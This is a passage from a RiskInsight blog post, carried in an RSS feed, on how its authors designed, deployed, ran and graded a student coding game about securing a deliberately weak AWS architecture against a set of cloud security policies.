<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><b><span data-contrast="auto">Deadlines:</span></b><span data-contrast="auto"> to cope with a tight schedule, we have defined objectives and deadlines with enough margin to overcome any technical constraints. The main stages of the project include development, testing, account creation and deployment.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Considering the project constraints, we have sketched the &#8220;vulnerable&#8221; architecture schema outlined below (</span><i><span data-contrast="auto">Figure 1</span></i><span data-contrast="auto">). The industrial equipment is simulated by a Lambda (Datalake) which generates logs and sends them to an S3 bucket (Datalake). A second Lambda (ELK) is then triggered by an S3 notification. It will retrieve the log file and send it to the ElasticSearch database (Docker image within an EC2 instance). Finally, the Kibana interface is accessible from Internet for visualization and log analysis.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23293 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1.jpg" alt="" width="1477" height="608" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1.jpg 1477w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-437x180.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-71x29.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/1-768x316.jpg 768w" sizes="auto, (max-width: 1477px) 100vw, 1477px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure </span></i><i><span data-contrast="auto">1</span></i><i><span data-contrast="auto"> :</span></i><i><span data-contrast="auto"> initial architecture diagram of the Wavegame 2023</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:851,&quot;335559739&quot;:160,&quot;335559740&quot;:278,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<h2><b><span data-contrast="none">Step 2:</span></b><span data-contrast="none"> picture a secure architecture based on Public Cloud policies</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:278}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Now that we have our initial infrastructure, the next step is to design Public Cloud policies that will define the security requirements and provide evaluation criteria. To achieve this, we have fine-tuned security best practices implemented by clients, here are some examples:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<ul>
<li><span data-contrast="auto">AWS-01: All AWS resources must use IAM roles that are specific to their needs and that respect the principle of least privilege.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="6" data-aria-level="1"><span data-contrast="auto">AWS-02: All AWS resources must be connected and/or attached to a VPC.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">AWS-03: EC2 instances must not be publicly accessible through Internet.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="8" data-aria-level="1"><span data-contrast="auto">AWS-04: All infrastructure logs (AWS Lambda and EC2) generated by AWS services must be sent to CloudWatch.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">AWS-05: Root EBS volume must be encrypted on all EC2 instances.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="10" data-aria-level="1"><span data-contrast="auto">AWS-06: Data stored on S3 buckets must be encrypted.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="auto">From the Public Cloud policies, we came up with the following secure architecture (</span><i><span data-contrast="auto">Figure 2</span></i><span data-contrast="auto">):</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23295 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2.jpg" alt="" width="1366" height="695" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2.jpg 1366w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-375x191.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-71x36.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/2-768x391.jpg 768w" sizes="auto, (max-width: 1366px) 100vw, 1366px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure </span></i><i><span data-contrast="auto">2</span></i><i><span data-contrast="auto">:</span></i><i><span data-contrast="auto"> target architecture diagram of the Wavegame 2023</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:851,&quot;335559739&quot;:160,&quot;335559740&quot;:278,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">To summarize network design, all compute resources are placed in a private subnet, the S3 bucket is reachable through a VPC endpoint, the ELK monitoring platform is solely accessed through a jump host Virtual Machine (VM). CloudWatch and CloudTrail services are activated for monitoring and supervision purposes. Finally, some security groups are attached to resources to only allow incoming communications that are strictly necessary. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<h2><b><span data-contrast="none">Step 3:</span></b><span data-contrast="none"> move from design to code in Terraform</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:278}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">To build the coding game, we created and maintained 2 distinct architectures, represented by 2 distinct branches in Github. The first one being the vulnerable architecture which will be deployed initially, and the second being the solution that acts as a warranty of feasibility. This &#8220;warranty of feasibility&#8221; means that 3 mandatory points are met:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="11" data-aria-level="1"><span data-contrast="auto">The IAM permissions set are enough to allow the system to work properly.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">The final configuration of the infrastructure must consider objects lifecycles and their interactions.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="13" data-aria-level="1"><span data-contrast="auto">The expertise required to complete the coding game must be adapted to students&#8217; skills development over a 2-week challenge period.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="auto">Regarding the development lifecycle, rather than following a linear development approach, where we would first create the code for the initial infrastructure, then for the target infrastructure, we opted for an agile approach with the definition of functional blocks. To illustrate this idea, the block </span><i><span data-contrast="auto">“Lambda (ELK) -&gt; S3”</span></i><span data-contrast="auto"> aims to design a Lambda that will request an S3 bucket as soon as an S3 PutObject notification is created, with or without a VPC endpoint. Although we must maintain 2 Terraform configurations simultaneously, this approach gives us greater agility in reassessing our technical choices. To further reduce redundancy and ensure maintainability, we focused on developing Terraform modules such as lambda and S3.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">To automate the deployment of resources within our sandbox and student accounts, we created a simple CI/CD in Github. It is constituted of 2 Github Actions: one workflow to terraform apply, the other to terraform destroy. In a YAML syntax, Github Actions allow you to execute AWS or Hashicorp built-in tasks. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">One advantage of such workflow is that you can store AWS access credentials in Github Secrets instead of source code or local file. Moreover, by storing Terraform states in a S3 bucket it facilitates collaboration. A Terraform state is a file that keeps track of the current configuration. Each developer sets up his S3 key in his Github branch that will become the reference of his state.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">As the development progressed, we realized how wide the gap was between the initial and the target architecture. The main reason is that IAM and network logics are very different. As a result, it has become essential to carry out tests under real conditions, i.e. from the AWS console, to identify breaking changes, blocking policies, and to assess complexity. As an example, one of the tests reminded us that the startup script of an EC2 called user-data is not persistent after a reboot. Therefore, this behavior prevented the implementation of the EBS root volume encryption security policy (AWS-05).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<h2><b><span data-contrast="none">Step 4:</span></b><span data-contrast="none"> securely deploy the environments</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:278}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">In the context of the challenge, we were about to grant students privileged access to an environment for two weeks where constant individual monitoring or assistance would not be feasible. While this approach represents a better learning opportunity, it raises specific security scenarios that we must anticipate and mitigate. Among these, budget overrun was a major concern, given the unrestricted access and resources at their disposal. Another significant threat is the potential for students to ascend within the organization, gaining access systems or messing with each other. Lastly, the risk of resource misappropriation for unauthorized or malicious purposes is not negligible. Each of these threats requires careful consideration to ensure a secure and responsible deployment.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">For this coding game, we opted for a multi-account AWS design to isolate each team environments. With AWS Organization, we achieved a simplified administration, improved cost control, and were able to enforce guardrails using Security Control Policies (SCP). In Figure 3, we present our AWS Organization, made of an admin account and an OU Wavegame that hosts the teams accounts where the infrastructure is deployed. We implemented 3 specific SCPs to:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="14" data-aria-level="1"><span data-contrast="auto">Restrict access to AWS services outside the designated region, us-east-1, by defining a list of authorized operations.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">Enforce the use of Amazon EC2 instance types t2.micro or t2.large, a constraint related to the ElasticSearch (ELK) environment.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="16" data-aria-level="1"><span data-contrast="auto">Deny students accounts from deleting or modifying a resource that has “</span><i><span data-contrast="auto">protected</span></i><span data-contrast="auto">” tag.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="auto">Additionally, to better manage costs, especially for a two-week duration, we set up a Lambda function to automatically shut down EC2 instances after two hours of activity. To prevent any unauthorized alterations by the students, this Lambda function was one of the resources secured with the “</span><i><span data-contrast="auto">protected</span></i><span data-contrast="auto">” tag.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:567,&quot;335559739&quot;:160,&quot;335559740&quot;:278,&quot;335559991&quot;:426}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-23297 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3.jpg" alt="" width="826" height="612" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-258x191.jpg 258w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-53x39.jpg 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/3-768x569.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure </span></i><i><span data-contrast="auto">3</span></i><i><span data-contrast="auto">:</span></i><i><span data-contrast="auto"> AWS Organization of the Wavegame 2023</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:851,&quot;335559739&quot;:160,&quot;335559740&quot;:278,&quot;335559991&quot;:851,&quot;469777462&quot;:[851],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Finally, in addition to our IAM user being administrator of the OU Wavegame via an assumable IAM role, we created an IAM user with the AdministratorAccess role for each AWS account, to give students autonomy during the challenge. In particular so they have enough rights to create nominative accounts.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<h2> </h2>
<h2><b><span data-contrast="none">Step 5:</span></b><span data-contrast="none"> prepare for the Run and the correction</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:278}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Once the challenge kicked off, the students had two weeks to secure the resources in their AWS account following the guidelines. With such extensive permissions, major configuration errors can quickly arise. For instance, one group created a “</span><i><span data-contrast="auto">Deny All</span></i><span data-contrast="auto">” S3 policy, which resulted in them locking themselves out, as well as anyone else since none of us had root account privileges.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">To address such situations, we set up the following communication system: each team would be assigned a coach responsible for reporting technical issues to the organizing team, which then escalated the incidents to us. We were then able to investigate and fix the issue or be able to quickly communicate with them without receiving too many messages for simple questions that could be answered by the coaches.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Besides incident management, our role also involved monitoring budget overruns. To achieve this, we set up cost alerts for each AWS account. We also developed a script to track the budget evolution of the teams in real-time. This tool proved to be very useful in providing an estimate of the time spent by the students on the challenge and respond in case or abnormal spending. For example, two days after the challenge began, an alert was triggered due to a failure in the Lambda function meant to shut down the VM.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Once the challenge concluded with few incidents, and student access had been revoked, it was time to proceed with the assessment to declare the winners. As a reminder, the students were required to configure their AWS account in compliance with the Public Cloud policies. For their evaluation, we used two grading mechanisms:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<ul>
<li data-leveltext="/" data-font="Tempus Sans ITC" data-listid="3" data-list-defn-props="{&quot;335551500&quot;:5255288,&quot;335552541&quot;:1,&quot;335559685&quot;:284,&quot;335559991&quot;:284,&quot;469769226&quot;:&quot;Tempus Sans ITC&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;/&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" aria-setsize="-1" data-aria-posinset="17" data-aria-level="1"><span data-contrast="auto">An automatic assessment through the deployment of AWS Config Managed rules at the end of the challenge. Amazon provides a sufficient set of rules to cover a significant percentage of the requirements. For example, a rule checks whether the S3 bucket is encrypted (AWS-06).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">A manual assessment based on clearly documented expected criteria and steps for verification.</span></li>
</ul>
<p> </p>
<p> </p>
<p style="text-align: justify;"><span data-contrast="auto">To conclude, the organization of a coding game is an ambitious project, requiring strong Cloud and Terraform skills, solid management capabilities and the ability to react to unexpected events. Despite the challenges, this is an outstanding learning opportunity. Indeed, for the participants, the Wavegame provides an immersive entrance into Public Cloud Security. Meanwhile, for the organizers, the Wavegame offers a new practical experience in designing, building, and maintaining operational readiness for an infrastructure in the Public Cloud.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:278}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/06/how-to-build-a-coding-game-around-public-cloud-security-step-by-step/">   How to build a coding game around Public Cloud Security step by step?    </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/06/how-to-build-a-coding-game-around-public-cloud-security-step-by-step/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
